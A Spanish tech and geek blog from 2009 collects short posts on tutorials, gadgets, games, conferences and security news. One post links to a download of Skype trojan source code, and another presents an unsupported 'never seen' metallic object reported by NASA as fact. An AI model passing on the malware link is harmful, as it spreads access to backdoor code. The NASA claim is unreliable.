     El cantante de Sigur Rós (banda que adoramos), Jónsi y su actual pareja, Alex, han sacado este maravilloso disco llamado "Riceboy Sleeps" grabado entre 2003 y 2009. Con bastantes toques de Sigur Rós, por algo es el cantante, y muy muy instrumental, este disco te transportará por los paisajes de Islandia, igual que  Sigur Rós.

      

     Aquí te paso tres de las nueve canciones que tiene el disco, así que baja un poco la luz, acomódate y relájate ...

     Colección de tutoriales para Maya 3D

     

     En Smashing Magazine nos ofrece una serie de tutoriales (todos en inglés) para aprender a  modelar, animar, texturizar, etc ... usando esta fantástica herramienta 3D llamada Maya. Recuerda que la mayoría de películas 3D (como por ejemplo Ice Age y Monstruos vs Alienígenas) hechas con Autodesk Maya (sí sí, Autodesk ha comprado Maya). Tanto como si quieres crear películas, efectos, juegos, simulación, etc ... Maya es una herramienta creada expresamente para ello. De hecho existen infinidad de modelos 3D y plugins para efectos, ya que es muy personalizable.

     Apache comprometido

     

     Según una nota en el blog the Apache, el host del famoso servidor web ha sido comprometido. Por lo visto, el intruso accedió  través de una de las cuentas de backups hospedada en minotaur.apache.org, usando una llave SSH. El/los intrusos consiguieron subir algunos ficheros a www.apache.org incluso algunos CGI. Hasta ahora se cree que ningún usuario ha sido afectado, pero todavía siguen con la investigación.

     Más información en Netcraft y ZDNet.

     Disfraz de USS Enterprise para perros

     

     Pobre perro … ;)

     Visto en Geekologie

     Mecedora Linux

     Lo que se le ocurre a la gente no tiene precio. Sin palabras.

     Andrzej Dragan, el "Efecto Dragan"

     All rights reserved ®

     

     

     

     

     

     All rights reserved ®

     Todas las fotografías expuestas en este artículo tienen los derechos reservados de sus respectivos propietarios.

     Andrzej Dragan (página oficial, muy recomendado para cualquier fotógrafo) es uno de los mejores fotógrafos retratistas que existen actualmente. Hasta ahora, y hablo de 1880 a esta parte, lo maravilloso de la fotografía era que realizaba una “captura temporal” y la hacía eterna (o hasta que dure su formato en papel o digital), ahora, Dragan, captura ese ese “espacio temporal” pero agudiza el paso del tiempo retratado en ella. Es decir, aumenta a la n-ésima potencia los detalles y rasgos que acusan el paso del tiempo, y sólo ellos, nada más, que es lo realmente complicado. Lo que consigue es que el expectador ahonde más facilmente en el personaje retratado. En la primera foto (una de las más galardonadas) que expongo se puede notar facilmente que es una persona invadida por el odio (su cara) y la desesperación (sus manos) y un millón de detalles más.

     Colección de video tutoriales para Gimp

     

     1. How to make a Web Layout in GIMP Video Tutorial 2. Gimp: 3D Web Effects Video Tutorial 3. How to make web 2.0 logo Gimp Video Tutorial 4. Fun Photo Manipulation Gimp Video Tutorial 5. Create A Pop Art Video Tutorial For Gimp 6. How to create an Animated GIF with GIMP Video Tutorial 7. Create and Adjust Images for the web using GIMP Video Tutorial 8. Blood text effect with Gimp Video Tutorial 9. Smoothen skin with healing brush in GIMP Video Tutorial 10. Fire Effects with Gimp Video Tutorial 11. Create A Lightning Gimp Video Tutorial 12. Introduction To Gimp User Interface Video Tutorial 13. Add A Woman in Red Wine Glass Gimp Video Tutorial 14. Create A Mans Face in tree bark with GIMP Video Tutorial 15. Create A Face in coin Gimp Video Tutorial 16. Create A LightSaber In Gimp Video Tutorial< 17. How to change eye colour in the gimp Video Tutorial 18. Sepia Toning Inside GIMP 19. Text effects and Logo in the gimp tutorial 20. How to draw a funky pig in gimp Video Tutorial 21. How to change eye colour in the gimp Video Tutorial

     La PS3 Slim por dentro

     

     Como hacen los buenos geeks, lo primero que haces al recibir un aparato es abrirlo y perder la garantía (a mi me pasó con mi ZX81 hace muuuucho tiempo).

     Eso es lo que han hecho los chicos de ifixit, desmontar una PS3 Slim e indicarnos paso a paso con fotografías todo el proceso:

     ifixit PS3 Slim teardown

     Tabla Unicode

     

     Aquí os dejo este enlace donde podéis encontrar una tabla interactiva Unicode. Siempre es muy útil tener a mano este tipo de herramientas.

     Quake Live Beta

     

     Windows 

     Todos conocemos y adoramos Quake, pues ahora los chicos de Id an creado una Web donde puedes registrarte (sin coste de momento) y empezar a jugar con cualquier persona o crear un equipo y lanzarte al deathmatch. Lo más espectacular, sólo instalas un plugin en tu navegador y ya está.

     Realmente espectacular ver la velocidad de los gráficos 3D integrados en el navegador ...

     Posiblemente nos veamos por allí … ;)

     Origen de las tuberías de Unix

     

     Aquí podéis ver una carta firmada por M. D. McIlroy con fecha del 11 de Octubre de 1964. Dónde reclama la necesidad de implementar algún mecanismo para conectar dos aplicaciones y pasar datos de una a otra. Lo que hoy día conocemos como tubería.

     A continuación voy a intentar traducir dicho texto:

     Sumario de lo más importante. Resumiendo lo que más me preocupa:

     1.- Deberíamos tener alguna forma de conectar programas coma una manguera, enroscar en otro segmento cuando sea necesario tratar los datos de una forma diferente. Esta es la forma en que funciona la ES (entrada/salida). 2.- Nuestro cargador debe ser capaz de controlar el establecimiento de enlace y carga. 3.- Nuestra librería debería permitir además indexación general, responsabilidad, generaciones, conmutación del sentido de los datos. 4.- Debería ser posible obtener componentes privados del sistema (todas las rutinas son componentes del sistema) para jugar con ellos.

     Aquí la carta original:

     Para los percusionistas más geeks.

     El artista Tyler Freeman, alias odbol, ha creado los pantalones-batería: Drumpants. A odbol se le ocurrió incluir parches en los pantalones y conectarlos a un controlador MIDI externo, encargado de producir sonidos diferentes cuando los tocas. No sólo puede emular una batería, también otro tipo de ritmos. Es una especie de, lo que algunos llaman, bodypercusión pero con "salida de audio incorporada" ;-)

     Este es otro video de los mismos pantalones y del artista en cuestión.

     Depurando ficheros bash

     

     Para aquellos que tengan que lidiar con scripts escritos en Bash, en este post hay algunos trucos que nos ayudarán a depurar y tracear la ejecución de los mismos. Gracias al post mencionado anteriormente, también me entero de la existencia de bashdb, un depurador para scripts Bash que desconocía por completo. Tiene muy buena pinta. Habrá que probarlo.

     Troyano Skype

     

     Si te interesa saber que se esconde detrás de un troyano, para tu información, el código fuente del troyano Skype ha sido liberado. Aunque por lo visto el código no está completo. La sección que de plugins de la puerta trasera, así como el código usado para saltarse el firewall, han sido removidos. Según el autor, publicará estas partes por separado.

     Post original aquí.

     http://www.megapanzer.com/2009/08/25/skype-trojan-sourcecode-available-for-download/

     Navaja suiza por excelencia

     

     Con una de estas sólo te faltará el chicle para ser McGyver

     Creo que es la más grande que existe. Es “Genuine Swiss Army Knife”.

     Si os fijais tiene hasta antena… pero será wifi ;-)

     PRECIO: 999 $.

     Incluye 85 herramientas!!

     Se vende aquí.

     Todo el material de la Defcon 17

     

     Presentaciones, documentos, fotos, etc … todo descargable desde:

     Defcon 17 Archive

     Pronto publicarán audio y video de las charlas, estaremos atentos.

     Visto en Security By Default

     Material espectacular, tienes que echarle un vistazo.

     Como hacer un electrocardiógrafo con una tarjeta …

     Bastante sencillo, con un mínimo de componentes electrónicos y una tarjeta de sonido se puede hacer un electrocardiógrafo.

     Un dólar de gasto (para hacer los electrodos) en estos componentes:

     <li style="text-align: justify;"><strong>1x amplificador operacional de bajo voltaje</strong> <a onclick="javascript:urchinTracker ('/outbound/article/search.digikey.com');" href="http://search.digikey.com/scripts/DkSearch/dksus.dll?Detail&amp;name=LM358NFS-ND">LM358N</a> $0.40</li>
     <li style="text-align: justify;"><strong>1x 100kOhm resistencia</strong> (marron, negro, amarillo)</li>
     <li style="text-align: justify;"><strong>1x 1kOhm resistencia </strong>(marron, negro, rojo)</li>
     <li style="text-align: justify;"><strong>1x 0.1uF condensador</strong> (104Z)</li>
     <li style="text-align: justify;"><strong>Cable de micrófono</strong></li>
     <li style="text-align: justify;"><strong>Electrodes</strong> (el usó 3 peniques, con céntimos funcionaría también, ya que es por el cobre)</li>
     

     El programa usado para analizar la señal es el GoldWave.

     Robot Lego MindStorm NTX que resuelve sudokus

     Alucinante, este robot hecho con el kit de Lego MindStorm NTX es capaz de leer directamente de la página del sudoku, resolverlo  y luego escribirlo sobre la misma hoja.

     Creado por un hacker sueco.

     Visto en HackADay.

     El fin del mundo.

     

     Galaxy Invader 1000, mi primer videojuego

      

     Los chicos de Z80 RetroHard han tocado mi fibra sensible al poner algunas fotos de mi primera máquina de videojuegos, la Galaxy Invader 1000. No sé cuantas horas me pasé jugando a este clon del Space Invaders portátil de los 80.

     Qué tiempos aquellos … ;)

     Cómo se fabrica una Memoria USB

     Visto en Microsiervos

     Nueva expansión de World of Warcraft: Cataclysm

     

     Los chicos de Blizzard han anunciado en la Blizzcon la nueva expansión del WOW: Cataclysm. Al parecer un gran cataclismo azotará los continentes y afectará a muchas ciudades y terrenos. Habrá inundaciones, lava, nuevas ciudades, etc. Pero lo más interesante es la aparición de dos nuevas razas para jugar: Goblins y Ferrocanis (Worgen).

     Toda la información en web oficial:

     WOW Cataclyms

     10 formas de destruir un disco duro

     En Cyberhades ya hemos hablado alguna vez sobre destructoras de discos duros. En PC Pro, a raiz del post que publicaron sobre una destructora de discos duros casero y todo el revuelo de comentarios que se produjo en Slashdot sobre el tema. Ahora veo a través de Slashdot, que han vuelto a publicar otro artículo con las 10 formas de destruir un disco duro, basada en los comentarios que se desprendieron de dicho hilo en Slashdot. A continuación listo y traduzco los métodos:

     Cómo hacer un millón de puntos en el Pac Man

     

     foto: http://www.spritestitch.com

     En el PDF (tienes el link al final del post) puedes encontrar un libro con todos los secretos, patrones de juego, trucos, etc ... para batir todos los records con el Pac Man. Tiene un capítulo también para Ms Pac Man.

     Este libro es de 1982 (en inglés) y creo que será de las primeras guías de videojuego de la historia.

     Un libro imprescindible para la colección de cualquier retro geek ;)

     Trailer de Avatar

     Avatar

     Rumor: ¿Película de BattleStar Galactica?

     

     Vaya, parece que Brian Singer quiere hacer una película pero que no tendrá nada que ver con la serie de televisión que adoramos (increible, a ver que van a hacer).

     Mala idea, se merece un “Caca nene eso no se toca”.

     Ya daremos más información.

     Enlace a los rumores aquí.

     Visto en BingDumpObject

     Premios Android Network

     

     Los premios Android Network es una comunidad formada por más de 30 sitios dedicados a esta plataforma. Android Network, trae a los usuarios la posibilidad de votar las mejores aplicaciones para este sistema, distribuidas en 26 categorías distintas. Así que si queréis saber cuales son la aplicaciones más votadas, sólo tenéis que hacer click aquí. También podéis visitar este enlace, dónde ademas de la lista de aplicaciones ganadoras, aparece una pequeña descripción al lado de cada una.

     Embedded Linux Conference

     

     Para aquellos interesados en los sistemas empotrados o embebidos corriendo Linux, en Abril tuvo lugar en San Francisco la Embedded Linux Conference 2009 y aquí puedes encontrar todo el material, tanto presentaciones como vídeos, de dicha conferencia. En Octubre habrá una conferencia en Francia.

     Copio y pego la lista:

     • Ubiquitous Linux, by Dirk Hohndel (Intel) LWN.net article, HD video (52 minutes, 704M)
     • Quantitative analysis of system initialization in embedded Linux systems, by Andre Puschmann (IMMS) slides, HD video (49 minutes, 319M, caution: no audio for the first 30 minutes - sorry!)
     • Evaluation of Flash File Systems for Large NAND Flash Memory, by Toru Homma (Toshiba) slides, HD video (35 minutes, 436M)
     • What are Interrupt Threads and How Do They Work?, by Reece Pollack (The PTR Group) slides, HD video (49 minutes, 346M)
     • Top 3 pains in professional use of bitbake, by Klaas van Gend (MontaVista Software) slides, HD video (39 minutes, 381M)
     • eLinux Wiki working BOF, by Tim Bird (Sony) slides, HD video (35 minutes, 329M)
     • Embedded Linux and Mainline Kernel, by David Woodhouse (Intel) slides, HD video (56 minutes, 619M)
     • Plan Your Work, Work Your Plan, by Jim Ready (MontaVista Software) HD video (52 minutes, 361M)
     • Update on filesystems for flash storage, by Michael Opdenacker (Free Electrons) slides, HD video (51 minutes, 539M)
     • Panel: Embedded Linux Kernel Features and Development, by Tim Bird, Jonathan Corbet, Matt Mackall, David Woodhouse LWN.net article, HD video (53 minutes, 707M)
     • Optimizing Browsing Experience, by Rodolph Perfetta (ARM) slides, HD video (43 minutes, 209M)
     • It’s Alive! - Linux on Embedded PowerPC porting guide, by Grant Likely (Secret Lab Technologies) slides, HD video (51 minutes, 294M)
     • Debugging and profiling embedded Linux/CRIS systems with QEMU, by Edgar E. Iglesias (Axis Communications) slides, HD video (44 minutes, 346M)
     • Build tools BOF, by Thomas Petazzoni (Free Electrons) slides, HD video (44 minutes, 594M)
     • Distributed Cross Platform Test Automation, by William Marone (Numonyx) slides, HD video (30 minutes, 221M)
     • Embedded Security BOF, by Matthew Locke (Embedded Alley) slides, HD video (43 minutes, 524M)
     • Building Embedded Linux Systems with Buildroot, by Thomas Petazzoni (Free Electrons) slides, video (48 minutes, 378M)
     • Building an Embedded Tools Standard Using Eclipse, by Eric Cloninger (Motorola) slides, video (56 minutes, 248M)
     • Embedded Linux on FPGAs for fun and profit, by Dr John Williams (Petalogix) slides, video (61 minutes, 319M)
     • Basic video editing on embedded devices using GStreamer, by Christian F.K. Schaller (Collabora) video (42 minutes, 164M)
     • Debugging with JTAG, by John Mehaffey (MontaVista) slides, video (33 minutes, 134M)
     • Understanding and writing an LLVM Compiler Backend, by Bruno Cardoso Lopes (LLVM) slides, video (58 minutes, 268M)
     • Deploying LTTng on Exotic Embedded Architectures, by Mathieu Desnoyers (École Polytechnique de Montréal) slides, video (59 minutes, 470M)
     • Cooperative Development Inside Communities, by Jeffrey Osier-Mixon (MontaVista Software) slides, video (24 minutes, 142M)
     • A Linux multimedia framework for SH-Mobile processors, by Conrad Parker (Jinzai) slides, video (35 minutes, 137M)
     • Musings on analysis of measurements of a real-time workload, by Frank Rowand (Sony) slides, video (55 minutes, 201M)
     • System Size BOF, by Michael Opdenacker (Free Electrons) slides, video (69 minutes, 296M)
     • Runtime Power Management on SuperH Mobile, by Magnus Damm (IGEL, Co.) slides, video (35 minutes, 124M)
     • KProbes and Systemtap Status, by Tim Bird (Sony) slides, video (41 minutes, 94M)
     • Video4Linux: What about Output ?, by Matthew Porter (Embedded Alley) slides, video (50 minutes, 272M)
     • Visualizing Process Memory, by Matt Mackall (Selenic Consulting) slides, video (51 minutes, 184M)
     • Ksplice: Rebootless kernel updates, by Jeff Arnold (Ksplice, Inc.) slides, video (51 minutes, 240M)
     • Memory…The Most Precious Resource, by Dan Malek (Embedded Alley) slides, video (51 minutes, 241M)
     • Framework for digital camera in Linux, by Dongsoo Kim (Samsung Electronics) slides, video (42 minutes, 93M)
     • Dynamic Instrumentation of user-space application based on kprobe, by Jaehoon Jeong (Samsung Elec. Co., Ltd.) slides, video (44 minutes, 211M)
     • Maemo 5 (Fremantle), mobile Linux platform with cellular connectivity, by Kate Alhola (Nokia) slides, video (32 minutes, 80M)
     • BRisa UPnP Framework for Embedded Systems, by Leandro Melo de Sales (Federal University of Campina Grande, Brazil) slides, video (46 minutes, 197M)
     • Tux Meets Radar O’Reilly - Linux in Military Telecom, by Grant Likely (Secret Lab Technologies) slides, video (43 minutes, 117M)
     • Superpages Revisited: Transparent Application of Large TLBs on Embedded Systems, by Paul Mundt (Renesas) slides, video (26 minutes, 90M)
     • Animated UI technologies in Maemo 5 (Fremantle), mobile Linux environment, by Kate Alhola (Nokia) slides, video (55 minutes, 213M)
     • User-Space, Multi-core Development Issues, by Reece Pollack (The PTR Group) slides, video (49 minutes, 160M)
     • Some new tricks for better performance in MIPS-Linux, by David Daney (Cavium Networks) slides, video (45 minutes, 136M)
     • Ubuntu ARM Distribution, by David Mandala (Canonical) slides, video (36 minutes, 150M)
     • Security issues for embedded devices, by Jake Edge (LWN.net) slides, video (40 minutes, 186M)
     • ELC Closing, by Tim Bird (Sony) HD video (11 minutes, 52M)

     Illuminato X Machina, un array de miniordenadores

     Fantástico proyecto Open Source de Hardware con el cual podemos crear un sistema al estilo "celular" de miniordenadores  (o célula de placa base) conectados entre sí y de esta forma poder incremetar la potencia de proceso y cálculo de forma sencilla. Cada módulo es un ordenador completo con su propio procesador, almacenamiento y comunicaciones. En concreto es un procesador de 72 MHz ARM con 56 I/O (digitales) pines.

     El Sistema Lasco detecta "Algo nunca visto" por la …

     "Algo nunca visto" Nasa. Atención entre 0:30 y 0:31 segundos

     El día 16 de Agosto el laboratorio Lasco C3 ("Large Angle and Spectrometric Coronagraph Experiment,") ha detectado, dicho por la Nasa, algo nunca visto. Simplemente impresionante, no hace falta ser un científico para saber que es “algo distinto”.

     La Nasa lo está estudiando pero ya se saben ciertas cosas:

     1.- Tiene una composición metálica. (Densidad altamente metálica)

     Actualización sobre la Sony PS3 SLIM (video)

     Una imágen vale más que mil palabras.

     Video que actualiza nuestra noticia sobre “Nueva PS3 SLIM, CyberHades”.

     Visto en Joystiq.

     The Guild, una serie sobre juegos de rol online

     "The Guild" es una serie online que trata de una "guild" (banda, reunión de amigos, hermandad) de  World Of Warcraft. En ella nos muestra diferentes facetas de la vida de la protagonista, Codex (Felicia Day), y de sus compañeros en el juego. En la vida real no se conocen y ... mejor lee la entrada de Dimensión Friki donde te lo explican mejor.

     Es muy divertida, no os la perdáis.

     Agua en LittleBigPlanet

     LittleBigPlanet es uno de mis juegos favoritos y se echaba en falta en el editor de niveles algo como el agua. Pues ahora los chicos de Media Molecule han creado este líquido elemento para deleitarnos con más niveles para nuestros queridos muñequitos de LittleBigPlanet.

     Pronto estará accesible desde la PlayStation Store.

     Visto en OffWorld.

     Sony confirma la nueva PS3 SLIM

     

     Con un disco duro de serie de 120Gb saldrá al percio de 299$ el día 1 de Septiembre.

     Visto en GearLog

     Pantallazo de tu web en más de 90 navegadores

     

     La peor pesadilla del programador web es la compatibilidad entre de los navegadores, especialmente si usas Internet Explorer, que según el test de compatibilidad Acid3, la versión 8 no llega ni al 30 por ciento. Algunos, como siempre dando la nota. En fin, a lo que iba, la idea es que cuando diseñes tu web, tengas la posibilidad de probarla en cuantos más navegadores mejor, para así ver si se ve correctamente en todos ellos o por lo menos en los que a ti te interese. En el sitio web browsershots.org, nos ofrecen la posibilidad de poder elegir entre más de 90 navegadores distintos, sólo tienes que introducir la URL de tu web, seleccionar en que navegadores quieres que se renderice tu siti, tamaño del pantallazo de tu web en cada navegador, número de colores, si quieres o no javascript y que versión y lo mismo con Java y Flash.

     Cerveza + Máquina Arcade = Arkeg

     

     Ojo al grifo de la cerveza a la izquierda.

     El sueño de todo geek hecho realidad...

     Visto en NeatOrama.

     New York City Hackers

     El documental, de una media hora, trata un poco de la ética hacker y de los problemas legales que tuvo el grupo 2600 después de la publicación del código fuente de DeCSS.

     Citrix Receiver para Android. ¿Futuro problema de …

     

     Citrix, dentro de software para moviles, tiene un cliente para Windows móvile, uno para el iPhone, uno de alfa de la Blackberry, y de pronto uno para Android, casi nada… El nuevo Citrix Receiver permitirá conectarse a un servidor central para acceder desde el móvil al ordenador, ejecutando así los programas más comunes del entorno Windows o Mac, algo que puede ser muy útil… o no?

     Videoblog sobre electrónica: EEVblog

     He visto en unas de nuestras web favoritas, Hack A Day, este videoblog sobre ingeniería electrónica y es realmente interesante. Creado por Dave Jones, este videoblog nos muestra por ejemplo cómo es por dentro una fábrica de placas de cirtuitos impresos, cómo funciona un osciloscopio digital, la forma correcta de usar un multímetro, etc.

     Apto tanto para principiantes como para veteranos en la electrónica.

     Enlace del blog:

     EEVblog

     ¿Es esta foto el nuevo Apple Tablet?

     

     Posiblemente no, pero a lo mejor se parece en algo a lo que será el nuevo Apple Tablet.

     Visto en UberGizmo.

     True Blood, una buena serie para estas vacaciones

     

     Recomendable esta serie True Blood, basada en los libros de Charlaine Harris llamados Southern Vampire Mysteries que he visto la primera temporada estas vacaciones y la verdad es que me ha gustado bastante. Básicamente trata de la legalización e integración en la sociedad de los vampiros en la época actual, con sus derechos, etc ... Esta situación de equilibrio ha sido posible gracias a la creación de una bebida llamada "True Blood" (la imágen de este post es la publicidad de la bebida) que sustituye totalmente a la sangre humana que necesitan los vampiros para sobrevivir. Todos los tópicos son aplicacables, salen sólo por la noche, temen al crucifijo, a la plata, al ajo, tienes que invitarles para entrar en casa, etc ...De todas formas no todos se conforman con la bebida y encima la sangre de vampiro está muy cotizada ya que revitaliza cuerpo y mente (como el redbull).

     45 Cursos online de Informática

     

     Todos estos cursos de Informática están diseñados por los mejores profesores de las mejores Universidades del Mundo. Por otro lado son bastante interactivos y además está disponible todo el material del curso para su descarga.

     Estos son sólo cuatro que nos han gustado, pero todos son realmente estupendos:

     Great Ideas in Theoretical Computer Science

     Multicore Programming Primer

     Autonomous Robot Design Competition

     Network Security

     Listado completo con los 45 cursos en:

     La casa definitiva para el fan de La Guerra de las …

     

     Mejor que le echéis un vistazo (no os perdáis la vitrina que tiene justo en la entrada):

     en Geekologie.

     Si tengo esta casa te aseguro que hago pagar por entrar a verla … ;)

     Tutorial, Mastering CSS Parte 1 y 2

     

     Ultimamente vengo trasteando un poco con CSS, uno de los lenguajes más importantes para crear webs con un diseño avanzado. Tanto si eres nuevo o un usuario experimentado, este tutorial es excelente para aprender o mejorar este lenguaje artificial para crear hojas de estilo para HTML o XML (XHTML). Algunas de las técnicas mostradas también usan Javascript y XHTML.

     De momento esto es lo que hay publicado (en inglés):

     Parte 1

     Empleado del año

     

     Google en la educación

     

     Becas, recursos de investigación, ofertas de trabajos, competiciones y muchos otros servicios, son los que Google ofrece para estudiantes, profesorado y administradores. En esta página, podéis ver una colección de todos estos servicios.

     Creando un juego en 36 horas, Stimergy

     

     Creado por Eather Kelley y Renaud Bédard para un concurso  llamado Bivouac celebrado en Canadá. Les costó hacerlo 36 horas y empezaron desde cero usando C#, Net FrameWork 3.0 y el motor TrueVision 3D. El juego está basado en autómatas celulares, de ahí el nombre de Stimergy.

     Aquí tienes un video en StopMotion con todo el proceso de programación:

     The Making Of Stimergy from Renaud Bédard on Vimeo.

     Web oficial:

     The Instruction Limit

     Construye tu propio Apple I

     

     Por aproximadamente 148$ y unos 88 componentes electrónicos puedes construir una réplica del histórico Apple I (el nombre  es "replica I").  Se trata de un kit para montarlo (esta es la web principal) y además tiene otros añadidos que puedes comprar también como un módulo para la cinta de cassete, expandir el slot de expansión e incluso añadirle un USB. En la web también puedes encontrar multitud de software y de documentación.

     Los 10 mandamientos para escribir buen código

     

     1.- DRY(Don´t Repeat Yourself). No te repitas a ti mismo. Intenta no repetir código. Hazlo abstracto de forma que puedas usar el mismo código en sitios distintos.

     2.- Escribe métodos cortos. Tu código será más legible, fácil de probar y de reusar.

     3.- Nombra tus clases, métodos y variables con sentido. De esta forma tu código será mucho más comprensible.

     4.- Defina claramente la tarea de cada clase. Así conseguirás reducir el número de errores y la reutilización de dicha clase en otras partes de tu aplicación.

     Encontrado un exoplaneta con órbita retrógrada …

     

     Imágen: Space.com

     En Ciencia Kanija nos hablan sobre WASP-17b, un exoplaneta que está a 1.000 años luz de distancia que tiene una órbita retrógrada, o sea, que gira alrededor de su estrella al contrario que todos los planetas que conocemos. Actualmente tenemos casos en nuestro Sistema Solar de órbita retrógrada (por ejemplo la luna Tritón, de Neptuno) pero se cree que fueron objetos capturados por el planeta. Este caso es especial ya que no es un satélite, es un planeta y la causa de esta extraña órbita retrógrada está posiblemente en una colisión con otro planeta, asteroide, etc...

     Curso de Redes en GNU/Linux

     

     Si estas buscando un curso de introducción a redes bajo GNU/Linux, desde aquí puedes descargar el curso que el Ministerio de Educación ha preparado para el profesorado. Está compuesto de 16 ficheros PDFs. Los temas son los siguientes:

     • Introducción
     • Usuarios del sistema Unix
     • Servidor DCHP
     • Servidor DNS
     • Entidad Certificadora
     • Servidor web Apache
     • NFS
     • Samba
     • Otros servicios
     • Copias de seguridad (Backup)
     • Servidores de Impresión
     • Servidor de terminales
     • VNC
     • OpenLDAP
     • Enrutamiento
     • Varios
     Visto aquí.

     Podcasts de Java

     

     El otro día di con este post que si no recuerdo mal vi en Reddit, en el que el autor hace una breve recopilación de podcasts sobre Java. Desafortunadamente, sólo uno de ellos está en castellano, el de JavaHispano.

     Os dejo aquí la lista de todas formas:

     • Javaposse - Eclipse Live - JavaHispano
     • Les cast codeurs (Francés)
     • Software Engineering Radio
     • IBM developerworks

     Un vistazo de cerca a los Data Center de Microsoft …

     

     Foto: NY Times

     Realmente impresionante las fotos de estos Data Center (en concreto uno ubicado en Washington y otro en New Jersey) donde se alojan algunos servicios de Microsoft, entre ellos el de  Xbox Live. En el artículo también se menciona las increibles medidas de seguridad para acceder a estas instalaciones, como escáneres biométricos, sensores de movimiento, etc

     Artículo y fotos en:

     NewYorkTimes

     Visto en PopSci

     Chuletas de Google

     

     En esta página podéis encontrar 5 chuletas (no de las que se comen) relacionadas con distintos servicios de Google, como son:

     • Servicios Google.
     • Chuleta oficial de ayuda.
     • Operadores avanzados.
     • Calculadora de Google.
     • Documentos y Hoja de cálculo de Google. Teclas de acceso directo.

     ¿Un mal día en la oficina?

     Menos mal que mi oficina es de funcionarios y el stress es algo muuuuy raro ;-)

     El mejor que he visto hasta ahora!! Puro nervio… y la informática parece que no ayuda.

     1.- Si tu compañera no para de hablar por teléfono.

     2.- Aire acondicionado a 25º o a 24º.

     3.- Un ascensor que no termina de salir.

     4.- En el cuarto de baño no se fuma.

     Entrevista a Charlie Miller

     

     Y ustedes se preguntarán que quién es ese Charlie Miller. Pues este individuo es el que encontró el famoso bug en el servicio de SMS del iPhone. Aquí podéis ver la entrevista completa.

     Entre otras cosas comenta como descubrió el bug. Empezó a enviar SMS con los datos mal formados. Hasta que se dio cuenta del error. Parece ser que le puedes decir al iPhone, hey, te envío x bytes, pero despues no le mandas lo que espera, entonces la función que lee los datos devuelve -1 (error), lo cual se convierte en 0xffffffff, un número muy grande, lo que provoca una denegación de servicio. También la anecdota, que durante la charla en la Defcon tuvo lugar. Por lo visto preguntó por un voluntario para ejecutar este ataque contra su iPhone durante la charla y este voluntario no recupero la conexión hasta horas después de que terminara la charla. Comenta como mandaron los cientos de SMS para producir el ataque, usando un programa, desarrollado para el iPhone, que usa el modem del teléfono para enviar los mensajes, usando el protocolo TCP para enviar los datos, con lo cual tu compañía no lo cuenta como un mesaje.

     Agujero de Seguridad en WordPress

     

     Acaba de salir una nueva versión de Wordpress, la 2.8.4 y gran culpa la tiene el fallo de seguridad que se publicó ayer, el cual permitía resetear la contraseña del primer usuario que aparece en la base de datos, el cual suele ser “admin”. Aquí tenéis el anuncio oficial de Wordpress, en el que se recomienda encarecidamente la actualización a la última versión.

     ¿Cómo suena el algoritmo de la burbuja?

     

     En este post, el autor a escrito el típico algoritmo de ordenación de la burbuja (bubble sort), pero además le ha añadido música. Lo que hace es que cada vez que compara dos valores, convierte dichos valores desde una nota Midi a una frecuencia y luego las hace sonar. No es la primera vez que veo este tipo de ideas, pero no dejar de ser curioso.

     Cómo se hizo World of Warcraft

     

     Excelente artículo donde se explica (en inglés) la evolución, la historia, el look, etc ... del MMORPG más jugado del momento.

     Encontraras cosas como que el look del Warcraft III estaba planeado que fuera como el del WOW, que un año antes de presentarse al público estaba totalmente inacabado, etc ...

     Este juego es digno de estudio por su gran nivel gráfico, jugable y sobre todo técnico, ya que no debe ser fácil mantener los servidores para 11 millones y medio de suscriptores.

     Lightscape 3.2 , porque para muchos de nosotros …

     

     Este es un collage, realizado por mi, mostrando los mejores trabajos (muchos de ellos premiados) realizados con este programa.

     Soy técnico de radiosidad y he trabajado varios años con esta maravillosa herramienta pero he de mostrar mi repulsa hacia Autodesk discreet por relegarla al olvido, hace ya varios años, sin ni siquiera dar explicación sobre el asunto. Y ¿por qué me quejo ahora? Muy sencillo, porque no ha salido nada mejor en todo este tiempo. Es su deber recuperarla, darle soporte y actualizarla. A los que pensamos así EL TIEMPO YA NOS HA DADO LA RAZÓN.

     Nueva infraestructura de Google

     

     Google está pidiendo, principalmente a desarrolladores e investigadores que prueben su nueva infraestructura de búsqueda. El resultado de las búsquedas en principio es el mismo, pero de este modo, según dicen ellos, les ayudarán a mejorar la velocidad entre otras cosas y también a la realización de bancos de pruebas. La dirección es: http://www2.sandbox.google.com/

     Yo ya lo he probado, y ¡rápido es!

     Mario controlado por IA

     Se llama Infinite Super Mario AI, y lo ha diseñado (en Java) para una competición que tendrá lugar en Septiembre. Es increible y además todo un reto de programación, ya que los movimientos los decide la IA del programa en cada fotograma de movimiento (se ven unas líneas rojas que indican las posibilidades).  No siempre funciona, a veces Mario falla y muere.  La base de la programación es conseguir en el menor tiempo acceder a la parte derecha de la pantalla ...

     Teclados sensibles a la presión

      

     Parece bastante interesante, sobre todo para los juegos. Imagínate que puedes aplicar varias funciones a una misma tecla dependiendo de la presión ejercida en en ellas ...

     Visto en HackADay

     Deposito de cheques via iPhone

     

     USAA va a poner a disposición de sus clientes una aplicación para iPhone que permitirá tomar una fotografía de un cheque bancario por ambas caras y mandarla al banco para que se haga efectivo su deposito, sin la necesidad por parte del cliente de tener que presentarse en el banco con dicho cheque o mandarlo por correo.

     Aquí podéis ver la noticia original. Visto en Slashdot.

     Git para usuarios de Subversion

     

     Ya en su día hablamos aquí de el sistema de control de versiones Git tienen más adeptos. Si tú, tu empresa o el proyecto en el que trabajas o colaboras, están pensando de migrar de Subversion a Git, en la web DeveloperWorks de IBM, nos deleitan con un magnífico artículo dónde hacen una introducción a Git para usuarios de Subversion.

     Estantería Donkey Kong

      

     

     Por suspuesto tendrás que usar velcro ;)

     Visto en TechEBlog

     Ganadores del Premio Hugo 2009

     

     Siempre tenemos que estar atentos a estos Premios Hugo ya que son lo máximo en la Ciencia Ficción (junto a los premios Nébula)

     Y estos son los galardonados de este año:

  2. Mejor Novela: The Graveyard Book, Neil Gaiman
  3. Mejor Novela Corta: The Erdmann Nexus, Nancy Kress
  4. Mejor Relato: Shoggoths in Bloom, Elizabeth Bear
  5. Mejor Relato Corto: Exhalation, Ted Chiang
  6. Mejor Libro de No Ficción: Your Hate Mail Will Be Graded: A Decade of Whatever, 1998-2008, John Scalzi
  7. Mejor Novela Gráfica: Girl Genius, Volume 8: Agatha Heterodyne and the Chapel of Bones, Written by Kaja & Phil Foglio, art by Phil Foglio, colors by Cheyenne Wright
  8. Mejor Representación Dramática (formato Largo): WALL-E, Andrew Stanton & Pete Docter, story; Andrew Stanton & Jim Reardon, screenplay; Andrew Stanton, director
